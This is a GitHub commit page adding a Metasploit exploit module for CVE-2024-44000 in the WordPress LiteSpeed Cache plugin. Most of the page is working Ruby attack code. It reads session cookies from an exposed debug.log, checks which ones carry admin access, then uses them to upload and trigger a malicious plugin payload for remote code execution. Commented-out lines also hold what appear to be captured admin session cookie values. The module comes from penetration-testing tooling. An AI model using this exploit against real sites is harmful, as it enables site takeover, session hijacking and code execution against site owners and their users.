Skip to content

Commit

Permalink
beta commit module working
Browse files Browse the repository at this point in the history
  • Loading branch information
jheysel-r7 committed Sep 11, 2024
1 parent 85f344a commit dd5dd54
Showing 1 changed file with 161 additions and 0 deletions.
161 changes: 161 additions & 0 deletions modules/exploits/multi/http/wp_litespeed_cookie_theft.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,161 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::FileDropper
prepend Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wordpress LiteSpeed Cache plugin cookie theft',
'Description' => %q(
Wordpress LiteSpeed Cache plugin cookie theft
),
'Author' =>
[
'?', # discovery
'jheysel-r7' # module
],
'References' =>
[
[ 'URL', 'https://patchstack.com/articles/critical-account-takeover-vulnerability-patched-in-litespeed-cache-plugin/'],
[ 'CVE', '2024-44000']
],
'License' => MSF_LICENSE,
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['WordPress', {}]],
'DefaultTarget' => 0,
'DisclosureDate' => '2024-09-04',
'Notes' =>
{
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, ],
'Reliability' => [ REPEATABLE_SESSION, ],
},
)
)
end

def check

return CheckCode::Unknown unless wordpress_and_online?

res = send_request_cgi({
'uri' => '/wp-content/debug.log',
'method' => 'GET'
})

return CheckCode::Unknown('No response from the target') unless res
return CheckCode::Safe('There seems to be no debug.log endpoint to pillage') unless res.code == 200

CheckCode::Vulnerable("Found cookie in debug.log") if res.body.include?("wordpress_logged_in")

end

def extract_cookies(debug_log)
all_logged_cookies = []
debug_log.each_line do |log_line|
match = log_line.match(/Cookie: (.*)/)
all_logged_cookies << match[0] if match
end
all_logged_cookies
end

def extract_admin_cookies(all_logged_cookies)
admin_cookies = []
all_logged_cookies.each do |log_line|
match = log_line.match(/(wordpress_logged_in_[^=]+=[^;]+).*(wordpress_[^=]+=[^;]+)|(wordpress_[^=]+=[^;]+).*(wordpress_logged_in_[^=]+=[^;]+)/)
admin_cookies << match.captures.compact.join('; ') if match
end
admin_cookies
end

def verify_admin_cookie(admin_cookies)
admin_cookies.each do |admin_cookie|
res = send_request_cgi({
'uri' => '/wp-admin/',
'cookie' => admin_cookie
})
if res&.code == 200
print_good("We've found and admin cookie, time to take over the world.")
return admin_cookie
else
vprint_bad("Not an admin cookie")
end
end
end

def generate_plugin(plugin_name, payload_name)
plugin_script = %Q{<?php
/**
* Plugin Name: #{plugin_name}
* Version: #{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(2)}
* Author: #{Rex::Text.rand_text_alpha(10)}
* Author URI: http://#{Rex::Text.rand_text_alpha(10)}.com
* License: GPL2
*/
?>}

zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
zip.add_file("#{plugin_name}/#{plugin_name}.php", plugin_script)
zip.add_file("#{plugin_name}/#{payload_name}.php", payload.encoded)
zip
end

def exploit

fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?
res = send_request_cgi({
'uri' => '/wp-content/debug.log',
'method' => 'GET'
})
fail_with(Failure::UnexpectedReply,'No response from the target.') unless res
fail_with(Failure::UnexpectedReply,'There is no /wp-content/debug.log endpoint on the target to pillage') unless res.code == 200
fail_with(Failure::UnexpectedReply,'The debug.log file was found but there are no cookies inside to steal.') unless res.body.include?("wordpress_logged_in")



all_cookies = extract_cookies(res.body)

fail_with(Failure::UnexpectedReply, 'There was an issue extracting cookies from the debug.log file') unless all_cookies
print_good("Cookies were found")

admin_cookies = extract_admin_cookies(all_cookies)
vprint_good("One or more potential admin cookies were found")

admin_cookie = verify_admin_cookie(admin_cookies)
vprint_good("Verified we have a valid an admin cookie")

print_status("Preparing payload...")
plugin_name = Rex::Text.rand_text_alpha(10)
payload_name = "#{Rex::Text.rand_text_alpha(10)}"
payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
zip = generate_plugin(plugin_name, payload_name)

print_status("Uploading payload...")
# require 'pry-byebug'
# binding.pry

#admin_cookie = "wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1726261494%7Cftvy2vH8dTLXjkbZqNg6PU9u7RkI89U1qYfpsvqSPb3%7C8d04a7bea4697a96e4259346dc07654a081597b5484fb91df2a883c72f69f49d; wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1726261494%7Cftvy2vH8dTLXjkbZqNg6PU9u7RkI89U1qYfpsvqSPb3%7Cb4fb6a316b94520cb51847f71fed25da55d1bcbe8295870dbc6eaa6282654c3b"
#admin_cookie = "wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1726261494%7Cftvy2vH8dTLXjkbZqNg6PU9u7RkI89U1qYfpsvqSPb3%7C8d04a7bea4697a96e4259346dc07654a081597b5484fb91df2a883c72f69f49d; wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1726261494%7Cftvy2vH8dTLXjkbZqNg6PU9u7RkI89U1qYfpsvqSPb3%7Cb4fb6a316b94520cb51847f71fed25da55d1bcbe8295870dbc6eaa6282654c3b"

uploaded = wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie)
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless uploaded

print_status("Executing the payload at #{payload_uri}...")
register_files_for_cleanup("#{payload_name}.php")
register_files_for_cleanup("#{plugin_name}.php")
register_dir_for_cleanup("../#{plugin_name}")
send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' }, 5)
end
end

0 comments on commit dd5dd54

Please sign in to comment.